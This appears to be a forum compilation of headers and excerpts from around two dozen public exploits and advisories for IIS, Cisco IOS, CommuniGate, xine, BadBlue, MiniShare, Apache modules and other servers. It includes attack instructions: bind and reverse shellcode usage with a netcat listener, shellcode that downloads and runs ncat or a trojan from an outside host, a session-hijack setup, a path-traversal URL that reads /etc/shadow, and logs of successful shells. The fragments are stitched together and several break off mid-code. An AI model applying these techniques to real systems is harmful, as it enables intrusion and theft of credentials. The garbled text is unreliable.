/*************************************/
/* IIS 5.0 WebDAV -Proof of concept- */
/* [ Bug: CAN-2003-0109 ] */
/* By Roman Medina-Heigl Hernandez */
/* aka RoMaNSoFt <[email protected]> */
/* Madrid, 23.Mar.2003 */
/* ================================= */
/* Public release. Version 1. */
/* --------------------------------- */
/*************************************/
/* ====================================================================
* --[ READ ME ]
*
* This exploit is mainly a proof of concept of the recently discovered ntdll.dll bug (which may be
* exploited in many other programs, not necessarily IIS). Practical exploitation is not as easy as
* expected due to difficult RET guessing mixed with possible IIS crashes (which makes RET brute
* forcing a tedious work). The shellcode included here will bind a cmd.exe shell to a given port
* at the victim machine so it could be problematic if that machine is protected behind a firewall.
* For all these reasons, the scope of this code is limited and mainly intended for educational
* purposes. I am not responsible of possible damages created by the use of this exploit code.
*
* The program sends a HTTP request like this:
*
* SEARCH /[nop] [ret][ret][ret] ... [ret] [nop][nop][nop][nop][nop] ... [nop] [jmpcode] HTTP/1.1
* {HTTP headers here}
* {HTTP body with webDAV content}
* 0x01 [shellcode]
*
* IIS converts the first ascii string ([nop]...[jmpcode]) to Unicode using UTF-16 encoding (for
* instance, 0x41 becomes 0x41 0x00, i.e. an extra 0x00 byte is added) and it is the resultant
* Unicode string the one producing the overflow. So at first glance, we cannot include code here
* (more on this later) because it would get corrupted by 0x00 (and other) inserted bytes. Not at
* least using the common method. Another problem that we will have to live with is our RET value
* being padded with null bytes, so if we use 0xabcd in our string, the real RET value (i.e. the
* one EIP will be overwritten with) would be 0x00ab00cd. This is an important restriction.
*
* We have two alternatives:
*
* 1) The easy one: find any occurrences of our ascii string (i.e. before it gets converted to
* the Unicode form) in process memory. Problem: normally we should find it by debugging the
* vulnerable application and then hardcode the found address (which will be the RET address)
* in our exploit code. This RET address is variable, even for the same version of OS and app
* (I mean, different instances of the same application in the same machine could make the
* guessed RET address invalid at different moments). Now add the restriction of RET value
* padded with null-bytes. Anyway, the main advantage of this method is that we will not have
* to deal with 0x00-padded shellcode.
*
* 2) The not so-easy one: you could insert an encoded shellcode in such a way that when the app
* expands the ascii string (with the encoded shellcode) to Unicode, a valid shellcode is
* automagically placed into memory. Please, refer to Chris Anley's "venetian exploit" paper
* to read more about this. Dave Aitel also has a good paper about this technique and indeed
* he released code written in Python to encode shellcode (I'm wondering if he will release a
* working tool for that purpose, since the actual code was released as part of a commercial
* product, so it cannot be run without buying the whole product, despite the module itself
* being free!). Problem: it is not so easy as the first method ;-) Advantage: when the over-
* flow happens, some registers may point to our Unicoded string (where our Unicoded-shellcode
* lives in), so we don't need to guess the address where shellcode will be placed and the
* chance of a successful exploitation is greatly improved. For instance, in this case, when
* IIS is overflowed, ECX register points to the Unicode string. The idea is then fill in
* RET value with the fixed address of code like "call %ecx". This code may be contained in
* any previosly-loaded library, for example).
*
* Well, guess it... yes... I chose the easy method :-) Perhaps I will rewrite the exploit
* using method 2, but I cannot promise that.
*
* Let's see another problem of the method 1 (which I have used). Not all Unicode conversions
* result in a 0x00 byte being added. This is true for ascii characters lower or equal to 0x7f
* (except for some few special characters, I'm not sure). But our shellcode will have bytes
* greater than 0x7f value. So we don't know the exact length of the Unicoded-string containing
* our shellcode (some ascii chars will expand to more than 2 bytes, I think). As a result,
* sometimes the exploit may not work, because no exact length is matched. For instance, if you
* carry out experiments on this issue, you could see that IIS crashes (overflow occurs) when
* entering a query like SEARCH /AAAA...AAA HTTP/1.1, with 65535 A's. Same happens with 65536.
* But with different values seems NOT to work. So matching the exact length is important here!
*
* What I have done, it is to include a little "jumpcode" instead of the shellcode itself. The
* jumpcode is placed into the "critical" place and has a fixed length, so our string has always
* a fixed length, too. The "variable" part (the shellcode) is placed at the end of the HTTP
* request (so you can insert your own shellcode and remove the one I'm using here, with no apparent
* problem). To be precise, the end of the request will be: 0x01 [shellcode]. The 0x01 byte marks
* the beginning of the shellcode and it is used by the jumpcode to find the address where shell-
* code begins and jump into it. It is not possible to hardcode a relative jump, because HTTP
* headers have a variable length (think about the "Host:" header and you will understand what
* I'm saying). Well, really, the exploit could have calculated the relative jump itself (other
* problems arise like null-bytes possibly contained in the offset field) but I have prefered to
* use the 0x01 trick. It's my exploit, it's my choice :-)
*
* After launching the exploit, several things may happen:
* - the exploit is successful. You can connect to the bound port of victim machine and get a
* shell. Great. Remember that when you issue an "exit" command in the shell prompt, the pro-
* cess will be terminated. This implies that IIS could die.
* - exploit returns a "server not vulnerable" response. Really, the server may not be vulnerable
* or perhaps the SEARCH method used by the exploit is not permitted (the bug can still be
* exploited via GET, probably) or webDAV is disabled at all.
* - exploit did not get success (which is not strange, since it is not easy to guess RET value)
* but the server is vulnerable. IIS will probably not survive: a "net start w3svc" could be
* needed in the victim machine, in order to restart the WWW service.
*
* The following log shows a correct exploitation:
*
* roman@goliat:~/iis5webdav> gcc -o rs_iis rs_iis.c
* roman@goliat:~/iis5webdav> ./rs_iis roman
*[*] Resolving hostname ...
*[*] Attacking port 80 at roman (EIP = 0x00480004)...
*[*] Now open another console/shell and try to connect (telnet) to victim port 31337...
*
* roman@goliat:~/iis5webdav> telnet roman 31337
* Trying 192.168.0.247...
* Connected to roman.
* Escape character is '^]'.
* Microsoft Windows 2000 [VersiA¢n 5.00.2195]
* (C) Copyright 1985-2000 Microsoft Corp.
*
* C:\WINNT\system32>
*
*
* I am not going to show logs for the faulty cases. I'm pretty sure you will see them very
* soon :-) But yes, the exploit works, perhaps a little fine-tunning may be required, though.
* So please, do NOT contact me telling that the exploit doesn't work or things like that. It
* worked for me and it will work for you, if you're not a script-kiddie. Try to attach to the
* IIS process (inetinfo.exe) with the help of a debugger (OllyDbg is my favourite) on the
* victim machine and then launch the exploit against it. Debugger will break when the first
* exception is produced. Now place a breakpoint in 0x00ab00cd (being 0xabcd the not-unicoded
* RET value) and resume execution until you reach that point. Finally, it's time to search
* the memory looking for our shellcode. It is nearly impossible (very low chance) that our
* shellcode is found at any 0x00**00**-form address (needed to bypass the RET restriction
* imposed by Unicode conversion) but no problem: you have a lot of NOPs before the shellcode
* where you could point to. If EIP is overwritten with the address of such a NOP, program flow
* will finish reaching our shellcode. Note also that among the two bytes of RET that we have some
* kind of control, the more important is the first one, i.e. the more significant. In other
* words, interesting RET values to try are: 0x0104, 0x0204, 0x0304, 0x0404, 0x0504, ...,
* and so on, till 0xff04. As you may have noticed, the last byte (0x04) is never changed because
* its weight is minimal (256 between aprox. 65000 NOP's is not appreciable).
*
*
* My best wishes,
* --Roman

80 CommuniGate Pro Webmail 4.0.6 Session Hijacking Exploit
كود PHP:
#!/usr/bin/perl
# Below is exploit code. Place it into cgi-bin, then
# (recommended) make symlink from
# DocumentRoot/AnyImage.gif to shj.pl, configure
# at least $url variable, and possible other vars and
# send victim HTML message with img src to your
# AnyImage.gif. When victim will read message, script
# will download messages 1..10 from his mailbox (if
# sucessfull).
# Script will work even if "require fixed address" option
# enabled (set $abuseproxy=1), but it needs access to
# users proxy (IP will be detected automatically). So, if
# your victim uses same corporate proxy as you, then
# you're lucky, you can own his mailbox! :)
# If victim uses HTTPS to access CGP webmail, use
# https:// link to image. some browsers will still send
# HTTP_REFERER if _both_ sites are https.

# use '%s' on the command-line.

80 ColdFusion MX Remote Development Service Exploit
كود PHP:
#!/usr/bin/perl
# RDS_c_Dump.pl
# By angry packet
##
# THIS IS AN UNPATCHED VULNERABILITY - THIS IS AN UNPATCHED VULNERABILITY
#
# ColdFusion 6 MX Server does several things in order to get remote dir structure so we will need
# to recreate these functions. This is a "almost" complete emulation of a dreamweaver client connection,
# in like one full HTTP1/1 session witin netcat.
#
# I would like to point out that the ASPSESSID never validates so you can change this on the fly.
#
# Due to certian current situations I am not allowed to release full exploit code with
# ( READ, RETRIEVE, WRITE ) functions.

80 Cisco IOS 12.x/11.x HTTP Remote Integer Overflow Exploit

* ~~---==(MMIII)==---~~
*
*
* Cisco IOS 12.x/11.x remote exploit for HTTP integer overflow in URL using
* IOS 11.x UDP Echo memory leak for shellcode placing and address calculation.
*
* This code does support exploitation of any 11.x Cisco 1600 and 2500 series
* running "ip http server" and "service udp-small-servers". In other words,
* port 80 TCP and port 7 UDP have to be open. The exploitation will take a
* very long time since the overflow is triggered by sending 2 Gigabytes of
* data to the device. Depending on your connection to the target, this may
* take up to several DAYS.
*
* Shellcodes:
* o In case a 1600 running 11.3(11b) IP only is detected, a runtime IOS
* patching shellcode is used. After that, the device will no longer
* validate VTY and enable access passwords. Mission accomplished.
* o In case of any other 11.x IOS or in case it runs from flash where
* code patching is more complicated, the shellcode will replace all
* passwords in the config with "phenoelit" and reboot the box. Change
* the passwords in the shellcodes if you like.

# IA WebMail 3.x (iaregdll.dll version 1.0.0.5) Remote Exploit
# Application Specific Shellcode: URL Downloader
# - www elitehaven net/ncat.exe (downloaded)
# - c:\nc.exe (created)
#
# By Peter Winter-Smith peter4020 hotmail com
# Shellcode included - will need reassembling to use different
# urls and files etc.
#
# Tested against:
# - Windows XP Home SP1
# - Windows 2000 Pro SP4
#
# Shellcode should work each time, since it steals it's addresses
# from the iaregdll.dll module import tables.
# Uses a very static jmp esp in iaregdll.dll - Should work on all
# servers without alteration!
#
# If the remote server is running a firewall, the urldownloader
# will be unable to spawn a shell, so for testing I recommend
# that you close the firewalls, or get another shellcode which
# will deal with this. This exploit is for PoC purposes only :o)
#
# Notes:
# - WebMailsvr.exe exits without consuming 100% resources in most
# cases.
# - This has only been tested with IA WebMail 3.1, however it was
# designed to exploit all versions.

#
# Stack Overflow in eZnet.exe - Remote Exploit
#
# Will download a trojan from any address which you provide
# on the target system, then will execute the trojan.
#
# For this exploit I have tried several strategies to increase
# reliability and performance:
#
# + Jump to a static 'call esp'
# + Backwards jump to code a known distance from the stack pointer
# since the stack address seems to change for each version of
# eznet.
# + Works out the byte difference for custom urls
# (must be no longer than 254 bytes!!)
# + Causes eznet.exe to restart (not really my choice ;o)
# + Shellcode steals addresses from a static module.

80 MS Windows 2000 sp1/sp2 isapi .printer Extension Overflow Exploit
كود PHP:
/***********************************************************************
iishack 2000 - eEye Digital Security - 2001
This affects all unpatched windows 2000 machines with the .printer
isapi filter loaded. This is purely proof of concept.
Quick rundown of the exploit:
Eip overruns at position 260
i have 19 bytes of code to jump back to the beginning of the buffer.
(and a 4 byte eip jumping into a jmp esp located in mfc42.dll). The
jumpback was kinda weird, requiring a little forward padding to protect
the rest of the code.
The buffer itself:
Uou only have about 250ish bytes before the overflow(taking into
account the eip and jumpback), and like 211 after it. this makes
things tight. This is why i hardcoded the offsets and had 2 shellcodes,
one for each revision. normally, this would suck, but since iis is kind
to us, it cleanly restarts itself if we blow it, giving us another chance.
This should compile clean on windows, linux and *bsd. Other than that, you
are on your own, but the vector is a simple tcp vector, so no biggie.
The vector:
the overflow happens in the isapi handling the .printer extension. The actual
overflow is in the Host: header. This buffer is a bit weird, soi be carfull
what you pass into it. It has a minimal amount of parsing happening before
we get it, making some chars not able to be used(or forcing you to encode
your payload). As far as i can tell, the bad bytes i've come across are:
0x00(duh)
0x0a(this inits a return, basically flaking our buffer)
0x0d(same as above)
0x3a(colon: - this seems to be a separator of some kind, didn't have time or
energy to reverse it any further, it breaks stuff, keep it out of
your buffer)
i have a feeling that there are more bad chars, but in the shellcode i've written
(both this proof of concept and actual port binding shellcode), i've come across
problems, but haven't specifically tagged a "bad" char.
One more thing... inititally, i got this shellcode to fit on the left side of
the buffer overflow. something strange was causing it to fail if i had a length
of under about 315 chars. This seems strange to me, but it could be soemthing i
just screwed up writing this code. This explains the 0x03s padding the end of the
shellcode.

كود PHP:
/* IIS 5 remote .printer overflow. "jill.c" (don't ask).
*
* by: dark spyrit <[email protected]>
*
* respect to eeye for finding this one - nice work.
* shouts to halvar, neofight and the beavuh bitchez.
*
* this exploit overwrites an exception frame to control eip and get to
* our code.. the code then locates the pointer to our larger buffer and
* execs.
*
* usage: jill <victim host> <victim port> <attacker host> <attacker port>
*
* the shellcode spawns a reverse cmd shell.. so you need to set up a
* netcat listener on the host you control.
*
* Ex: nc -l -p <attacker port> -vv
*
* I haven't slept in years.

*
* shouts to mitakeet, skullandcircle, and thanks to matt murphy for making me

/*
* this is the point that we overflow the buffer. we control
* auth_digest->nonce, and that is where all of our evil code go. but crap,
* look, the string a2 gets appended to the nonce buffer, that means
* whatever lives above the saved EIP we overwrite is going to get fuxxored
* to. that means the arguments to the function get trashed, usually not a
* problem, but look below at the following sprintf(). those variables get
* used again, so we have to restore them to a sane state.
*/

a3 = _md5(pom);
/* crap */
sprintf(buf,
"Digest username=\"%s\", realm=\"%s\", nonce=\"%s\", uri=\"%s\", response=\"%s\"" ,

_free(a2);
_free(a3);
return buf;
}
#endif
/*
* so u can see we can't just overflow and go. we need to recreate at least
* the auth_digest pointer, the user pointer, and the buf pointer. so, the
* strategy is as follows:
*
* + overwrite auth_digest to point into the buffer we control
* + where we point auth_digest must also contain valid pointers as they are
* used as the strings that get printed into buffer.
* + so we point those pointers towards the very end of our buffer. the
* strings they point to should not be so long. our buffer is NULL termed so if
* they point towards the end of it, we know they'll end at a set point.
* + we set the user pointer to the same place as the auth_digest pointer.
* + we set buf to point past the end of our buffer, at some higher address.
* that is where all the other strings get printed to in sprintf() and
* strcat().
* + and that's about it. so our buffer looks like this:
*
* <-------------------|
* ALIGN NOPS SHELL STRING_PTRS RETADDR USER_AND_DIGEST_PTRS BUF_PTRS
* |----------------------------^ |------^
*
* the only arg you pass is the base address of the buffer that we overwrite,
* which lays somewhere on the stack. note this is not the location of our
* original buffer, but the location of the pom variable from above func. and
* you need to be root as we bind to port 80 and pretend to be a webserver.
*
* [[email protected]] ./ps
* Usage: ./ps <base of nonce buffer>

80 xine 0.99.2 Remote Stack Overflow Exploit

Xine - A free video player
http://xinehq.de
"xine is a free multimedia player. It plays back CDs, DVDs, and
VCDs. It also decodes multimedia files like AVI, MOV, WMV, and MP3 from
local disk drives, and displays multimedia streamed over the
Internet. It interprets many of the most common multimedia formats available
- and some of the most uncommon formats, too."
Part 2 in the Media Mayhem saga, a name that was decided as being
aptly fitting for the "Media Player" security audit project that the Open
Security Group website started at the end of May. This project
continues finding remote exploits in popular media players for Windows and
Linux / UNIX derived systems.
Like the excellent Mplayer, Xine is a superb free media player for
Linux. Sadly there is a generic stack based buffer overflow in all versions
of Xine-lib, including Xine-lib-rc5 that allows for local and remote
malicious code execution.
By overflowing the vcd:// input source identifier buffer, it is
possible to modify the instruction pointer with a value that a malicious
attacker
can control. The issue can be replicated in a remote context by
embedding the input source idientifier within a playlist file, such as
an asx.
When a user plays the file, this stack overflow will occur, exploit
code can then be executed with the rights of the user running Xine.
The problem slightly increases due to a usability feature. It does
not have to be an asx extension for exploitation to succeed as Xine will try
to be clever and play any media type found, providing it's valid.
This still means the attack vector MUST include the .asx input
identifier but
it means you can not even trust URL's for .mp3, .mpeg, .mpg or .avi
media. As long as Xine finds a valid media header, it's happy to change
the demuxer reference and play the found media. In this case it's a
playlist file, ".asx", though others should work.
Any of the following demuxors will work when running against the
attached POC server:
xine --no-splash http://sunscreen/opensecurity.asx
xine --no-splash http://sunscreen/opensecurity.mp3
xine --no-splash http://sunscreen/opensecurity.mpg
xine --no-splash http://sunscreen/opensecurity.mpeg
xine --no-splash http://sunscreen/opensecurity.wma
xine --no-splash http://sunscreen/opensecurity.avi
xine --no-splash http://sunscreen/blah.blah
xine --no-splash http://sunscreen/
There are some tricks that may have to be pulled to allow for
successful code execution to work, primarily due to some memory corruption
that happens and opcode destruction. However it is easily defeated
by either jmp'ing over the corrupt few bytes or by placing the shellcode
into the buffer at some known good location.
An example malicious .asx file:
sunscreen$ cat open-security.asx
<asx version = "3.0">

Due to the many vulnerabilities being discovered in media players it
is advised not to play any form of music without first verifying its
integrity. It would be worth noting that P2P networks that are
currently sharing music, videos and films tend to be illegal media and as
such void any integrity anyway, I advise highly to stay clear from
IRC and P2P warez.

# ================================================
# IPSWITCH WhatsUp Gold ver8.03 Remote Buffer Overflow Exploit
# ================================================
#
# Exploit by ET LoWNOISE Colombia
# et(at)cyberspace.org
# Oct/2004
#
# Tested on WIN2K SP4
#
# The exploit takes control by overwriting the pointer of a Structured
Exception Handler,
# installed by WhatsUP and points to a routine that handles exceptions.
# (http://www.thc.org/papers/Practical-SEH-exploitation.pdf Johnny
Cyberpunk THC)
#
# The overflow string has to be around 4080 in length to generate an
exception that can
# be manipulated by changing the SEH pointer (ret [815]).
#

MiniShare <= 1.4.1, Remote Buffer Overflow Exploit v0.1.
Bind a shellcode to the port 101.
Full disclosure and exploit
by class101 [at] DFind.kd-team.com [&] #n3ws [at] EFnet
07 november 2004
Thanx to HDMoore and Metasploit.com for their kickass ASM work.
------------------
WHAT IS MINISHARE
------------------
Homepage - http://minishare.sourceforge.net/
MiniShare is meant to serve anyone who has the need to share files to anyone,
doesn't have a place to store the files on the web,
and does not want or simply does not have the skill
and possibility to set up and maintain a complete HTTP-server software...
--------------
VULNERABILITY
--------------
A simple buffer overflow in the link length, nothing more
read the code for further instructions.
----
FIX
----
Actually none, the vendor is contacted the same day published, 1 hour before you.
As a nice **** to NGSS , iDEFENSE and all others private disclosures
homo crew ainsi que K-OTiK, ki se tap' des keu dans leur "Lab"
lol :->
----
EXTRA
----
Update the JMP ESP if you need. A wrong offset will crash minishare.
Code tested working on MiniShare 1.4.1 and WinXP SP1 English, Win2k SP4 English, WinNT SP6 English
Others MiniShare's versions aren't tested.
Tip: If it crashes for you , try to play with Sleep()...

80 PHP <= 4.3.7/ 5.0.0RC3 memory_limit Remote Exploit
كود PHP:
/* Remote exploit for the php memory_limit vulnerability found by Stefan
* Esser in php 4 (<= 4.3.7) and php 5 (<= 5.0.0RC3).
*
* by Gyan Chawdhary ([email protected])
* (felinemenace.org/~gyan)
*
* Greets
* S.Esser for the vuln and mlxdebug.tgz, everything in the code is based on it.
* scrippie, gera, riq, jaguar, girish, n2n ...
*
* Vulnerability:
* The issue is well documented in the advisory.
*
* Exploitation:
* I cud not find a generic way to free a 40 byte chunk which could be later
* used by ALLOC_HASHTABLE. The exploit will construct a fake zend hash table
* which will be sent in the first request. The second request will kick in the
* memory interuption after allocating space for the hashtable and before it is
* initalized. The memory it will use for this allocation will contain the data
* from our previous request which includes the pDestructor pointer pointing to
* our nop+shellcode which is a part of the second request. This happens in the
* zend_hash_destory function.
*
* PS - The exploit is ugly, coded to test the vuln. If anyone knows the trick
* for 40 byte free() then plz drop me a mail. Tested on RH 8 php 4.3.7,
* Apache 2.0.49 with register_globals = On
*
* Gyan

/* This "Proof of Concept" sploit is only for Win2k SP4 + PHP 4.3.5 on Apache
2.0.49*
Sploit tested with Apache 2.0.49 + PHP 4.3.5 on a Win2K SP4.
bugtraq says local exploit.
This bug is reported a long long time ago for v4.3.1
bugs.php.net does not have any status that refers to this bug while
reported.
The bug is still alive in v4.3.5 and probably newer versions as well,
CHANGELOG of versions to 4.3.7 does not mention the bugfix of openlog();
scenario :
--->

Getting a shell is better then parsing commands to the weblog.

80 BadBlue 2.5 Easy File Sharing Remote Buffer Overflow
كود PHP:
/*
BadBlue, Easy File Sharing Remote BOverflow
Homepage: badblue.com
Affected version: v2.5 (2.60 and below not tested)
Patched version: v2.61
Link: badblue.com/bbs98.exe
Date: 27 February 2005
Application Risk: Severely High
Internet Risk: Low
Dicovery Credits: Andres Tarasco (atarasco _at_ sia.es)
Exploit Credits : class101 & metasploit.com
Hole History:
26-2-2005: BOF flaw published by Andres Tarasco of sia.es
27-2-2002: Hat-Squad.com releases an exploit
28-2-2005: haxorcitos releases a dupe with fake date :>
or you sux doing private stuffs.
Notes:
-6 bad chars, 0x00, 0x26, 0x20, 0x0A, 0x8C, 0x3C, badly interpreted by
BadBlue
-using offsets from ext.dll, universal.
-use findjmp2 to quick search into ext.dll to see
if the offsets changes in the others BadBlue's versions below 2.5
-if you need the v2.5 for exploitation's pratices, get it on class101.org
-rename to .c for nux, haven't tested this one but it should works fine.

80 IP3 NetAccess < 4.1.9.6 Remote Arbitrary File Disclosure Vulnerability
كود PHP:
I - TITLE
Security advisory: Arbitrary file disclosure vulnerability in
IP3 NetAccess leads to full system compromise
II - SUMMARY
Description: Arbitrary file disclosure vulnerability in IP3 NetAccess
leads to full system compromise
Author: Sebastian Wolfgarten (sebastian at wolfgarten dot com)
Date: February 11th, 2007
Severity: High
References: http://www.devtarget.org/ip3-advisory-02-2007.txt
III - OVERVIEW
IP3's NetAccess is a device created for high demand environments
such as convention centers or hotels. It handles the Internet access
and provides for instance firewalling, billing, rate-limiting as well
as various authentication mechanisms. The device is administrated via
SSH or a web-based GUI. Further information about the product can be
found online at http://www.ip3.com/poverview.htm.
IV - DETAILS
Due to inproper input validation, all NetAccess devices with a firmware version
less than 4.1.9.6 are vulnerable to an arbitrary file disclosure vulnerability.
This vulnerability allows an unauthenticated remote attacker to abuse the
web interface and read any file on the remote system. Due to the fact that important
system files are world-readable (see bid #17698), this does include /etc/shadow
and thus leads to a full compromise of the device! In addition an attacker is
able to gain access to the proprietary code base of the device and potentially
identify as well as exploit other (yet unknown) vulnerabilities.
V - EXPLOIT CODE
The trivial vulnerability can be exploited by accessing the file "getfile.cgi"
with a relative file path such as
http://$target/portalgroups/portalgroups/getfile.cgi?filename=../../../../../../../../etc/shadow
As the input to the "filename" parameter is not properly validated accessing
this URL will disclose the contents of /etc/shadow to a remote attacker.
VI - WORKAROUND/FIX
To address this problem, the vendor has released a new firmware version
(4.1.9.6) which is available at http://www.ip3.com. Hence all users of IP3's NetAccess
devices are asked to install this version immediately.
As a temporary workaround, one may also limit the accessibility of the web interface
of the device to authorized personnel only. Nevertheless contacting the vendor and
installing the new firmware version is highly recommended!
VII - DISCLOSURE TIMELINE

31. December 2006 - Vulnerability confirmed

# Copyright (c) 2007 Marco Ivaldi <[email protected]>
#
# Lotus Domino R5 and R6 WebMail, with "Generate HTML for all fields" enabled,
# stores sensitive data from names.nsf in hidden form fields, which allows
# remote attackers to read the HTML source to obtain sensitive information such
# as (1) the password hash in the HTTPPassword field, (2) the password change
# date in the HTTPPasswordChangeDate field, (3) the client platform in the
# ClntPltfrm field, (4) the client machine name in the ClntMachine field, and
# (5) the client Lotus Domino release in the ClntBld field, a different
# vulnerability than CVE-2005-2696 (CVE-2005-2428).
#
# According to testing, it's possible to dump all HTTPPassword hashes using the
# $defaultview view instead of $users. This saves a considerable amount of time.

This module exploits a stack overflow in the NaviCopa HTTP server
2.01 (release version 6th October 2006 or earlier). It is not the
same vulnerability as the one described in BID 20250.
The vulnerability was found by a member of skillTube.com and
allows reliable code execution. The only thing that may vary
is the path to the NaviCopa installation folder. On an English
version of Windows, it resides in the c:\\program files\\navicopa
directory. In that case, eip is overwritten with char 271 to 274.
To add a new target version of Windows (e.g. Spanish, Italian etc.),
you only need to change the offset to eip. As an example, in a
German version of Windows, the installation directory of navicopa is
c:\\programme\\navicopa. As a result, the path length is four characters
shorter than on an English version of Windows. As a consequence, the
offset to eip has to be increased by four.
Exploit was successfully tested against Windows 2000, XP and
Windows Vista (regardless of ASLR).

XAMPP for Windows <= 1.6.0a adodb.php/mssql_connect() remote buffer overflow

/*
http://sourceforge.net/project/showfiles.php?group_id=61776
this easy to install Apache / MySQL / PHP distribution for Windows
carries various (lots) test scripts vulnerable to sql injection, but
we have here another kind of injection, adodb.php lines 62-68:
...
include_once 'adodb/adodb-errorpear.inc.php';
include_once 'adodb/adodb.inc.php';
include_once 'adodb/tohtml.inc.php';
$db = ADONewConnection($_POST['dbserver']);
@$db->Connect($_POST['host'], $_POST['user'], $_POST['password'], $_POST['database']);
echo "<p><b>DBServer: $_POST[dbserver]</b><p>";
$result = $db->Execute("SELECT * FROM $_POST[table]");
...
mssql_connect() function is vulnerable to buffer overflow and
the host argument is totally unchecked. Also this shows a vulnerabilty in
ADODB library (which is in the include path, inside PEAR folder) in the
Connect method .
If you say that this should be not used for production purpose or
exposed to the outside world, try theese google dorks:
intitle:XAMPP intitle:windows intitle:version
intitle:XAMPP intitle:version intitle:1.6.0a +windows
note: I could use the INTO OUTFILE method through sql injection
to export some shell inside the /htdocs folder because we have FILE
privilege, but we have magic_quotes_gpc on here. This is instead
possbile through the PhpMyAdmin default user/password.
note ii: PHP version is 5.2.1
note iii: bof is possible because mssql extension is enabled
by default in php.ini

كود PHP:
/*
apache mod rewrite exploit (win32)
By: fabio/b0x (oc-192, old CoTS member)
Vuln details: http://www.securityfocus.com/archive/1/archive/1/443870/100/0/threaded
Code: bind shell on port 4445, tested on apache 2.0.58 with mod_rewrite (windows 2003)
original exploit (http://enigmagroup.org/exploits/3680) only had a call back on 192.168.0.1, also
was a little buggy, so shellcode was rewriten, thanks to http://metasploit.com/
Usage: ./apache hostname rewrite_path
Greetings: caffeine, raver, psikoma, cumatru, insomnia, teddym6, googleman, ares, trickster, rebel and Pentaguard
Example: ./apache 192.168.0.253 test

80 corehttp 0.5.3alpha (httpd) Remote Buffer Overflow Exploit
كود PHP:
/*[ corehttp[v0.5.3alpha]: httpd remote buffer overflow exploit. ]**********
* *
* by: vade79/v9 [email protected] (fakehalo/realhalo) *
* *
* compile: *
* gcc xcorehttp.c -o xcorehttp *
* *
* syntax: *
* ./xcorehttp [-r] -h host -p port *
* *
* corehttp homepage/url: *
* http://corehttp.sourceforge.net/ *
* *
* bug(http.c): *
* ----------------------------------------------------------------------- *
* struct sprock_t *HttpSprockMake(struct sprock_t *parentsprock) { *
* struct sprock_t *sprocket; *
* char req[PATHSIZE], url[PATHSIZE], status[PATHSIZE], temp[BUFSIZE], *
* ... *
* if ((sprocket = (struct sprock_t *) *
* malloc(sizeof(struct sprock_t))) == NULL) return NULL; *
* ... *
* sscanf(parentsprock->buffer, "%[A-Za-z] %s%*[ \t\n]", req, url); *
* !(the bug/overwrite) --------------------------------------^----^ *
* strncpy(sprocket->parent->url, url, PATHSIZE); *
* !(the problem) -^ *
* ... *
* for (i = 0; req[i] != '\0'; i++) *
* req[i] = toupper(req[i]); *
* !(another problem) -^ *
* ... *
* } *
* ----------------------------------------------------------------------- *
* *
* explaination: *
* the sscanf() call in the above code contains no bounds checks for *
* writing to either req[] or url[] (i chose url[] as it gave more room *
* to work with, by overwriting into req[], and isnt limited to *
* alphabetical characters only) *
* *
* the first problem is that this overflows into the *sprocket structure *
* pointer, which is used immediately after the overflow. this is *
* automatically calculated in this exploit, using the same location in *
* memory with an offset. (+512 to ret address, which points to the nops) *
* *
* the second problem is all lowercase characters get uppercased, this *
* will happen weither or not you overwrite via req[] or url[]. if the *
* return address contains a lowercase character it will uppercase it. *
* *
* this exploit has 256(%4) bytes of working room, so avoiding lowercase *
* characters should be doable. *
* *
* note: *
* there are two areas in the stack this will appear, the one closer *
* to the top of the stack should be used. *
* *
* example usage: *
* [v9@fhalo v9]$ gcc xcorehttp.c -o xcorehttp *
* [v9@fhalo v9]$ ./xcorehttp -h dual.fakehalo.lan -p 5555 *
*[*] corehttp[v0.5.3alpha]: httpd remote buffer overflow exploit. *

* *
*[*] target : dual.fakehalo.lan:5555 *
*[*] return address : 0xbfffea60 *
*[*] *sprocket replacement : 0xbfffec60 *
* *
*[*] attempting to connect: dual.fakehalo.lan:5555. *
*[*] successfully connected: dual.fakehalo.lan:5555. *
*[*] sending string: *
* [+] "X [NOPS+SHELLCODEx512]|[ADDR1x16][ADDR2x256]\r\n\r\n" *
*[*] closing connection. *
* *
*[*] attempting to connect: dual.fakehalo.lan:7979. *
*[*] successfully connected: dual.fakehalo.lan:7979. *

* uid=501(v9) gid=501(v9) groups=501(v9) *
* *
* (...nothing like a overly complex exploit to quench my brain thirst. *
* although, i didn't do any support for randomized memory addresses, oh *
* well) *

# HP OpenView Network Node Manager CGI Buffer Overflow
# Tested on NNM Release B.07.50 / Windows 2000 server SP4

# Coded by Mati Aharoni
# muts|offensive-security|com
# http://www.offensive-security.com/0day/hpnnm.txt
# Notes:
# Vanilla stack based overflow
# I had no idea how to debug this...I ended up modifying the Openview5.exe binary by hijacking
# the entry point and injecting Sleep just before exe execution. This gave me enough
# time to attach a debugger before program termination. If anyone knows how to properly
# debug this, please tell me about it - there *must* be a better way...

/* Dreatica-FXP crew
*
* ----------------------------------------
* Target : mod_jk2 v2.0.2 for Apache 2.0 Win32
* Found by : IOActive Security Advisory
* ----------------------------------------
* Exploit : mod_jk2 v2.0.2 Buffer Overflow Exploit (win32)
* Exploit date : 01.03.2008 - 02.03.2008
* Exploit writer : Heretic2 ([email protected])
* OS : Windows ALL
* Crew : Dreatica-FXP
* ----------------------------------------
* Info : Exploit was found by IOActive Security Advisory, trivial exploit for win32.
* The only problem here is that the mod_jk2 forstly downcase all letter in Host
* header request, Metasploit v3 have solutions for this case:
* 1. Use non-upper encoder
* 2. Use non-alpha encoder
* i used the first variant here. and all is working good.
* ----------------------------------------
* Thanks to:
* 1. IOActive Security Advisory ( )
* 2. The Metasploit project ( http://metasploit.com )
* 3. Dreatica-FXP crew ( )
* ----------------------------------------
* This was written for educational purpose only. Use it at your own risk. Author will be not be
* responsible for any damage, caused by that code.

By attaching olly to the w3wp.exe sub-process you will see the usual
dump with ecx and eip owned, with a buffer of approxymately 13000 chars.
Exploitation is post-auth but you can have a user account by simply
browsing the signup.asp page, enabled by default.
Calc.exe will run with NETWORK SERVICE privilege, check tasks. Note
that 4-5 failed exploit attempts may result in IIS "Service
Unavailiable" message.
Other attacks are possible, see a list of locally overflowable
methods:
CreateUserPath, Logout, DeleteMailByUID, MoveToInbox, MoveToFolder,
DeleteMailEx, GetMailDataEx, SetReplySign, SetForwardSign, SetReadSign.
Note also that remotely there's some kind of validation (ex. you can
not have a username with a length of more than 4000 chars which
could be used instead to overflow the CreateUserPath method and
you cannot overflow ex. through the strUID argument) which reduces a lot
the remote vectors. However, as you can see there's no filter on
"indexOfMail" one.
Other notes:
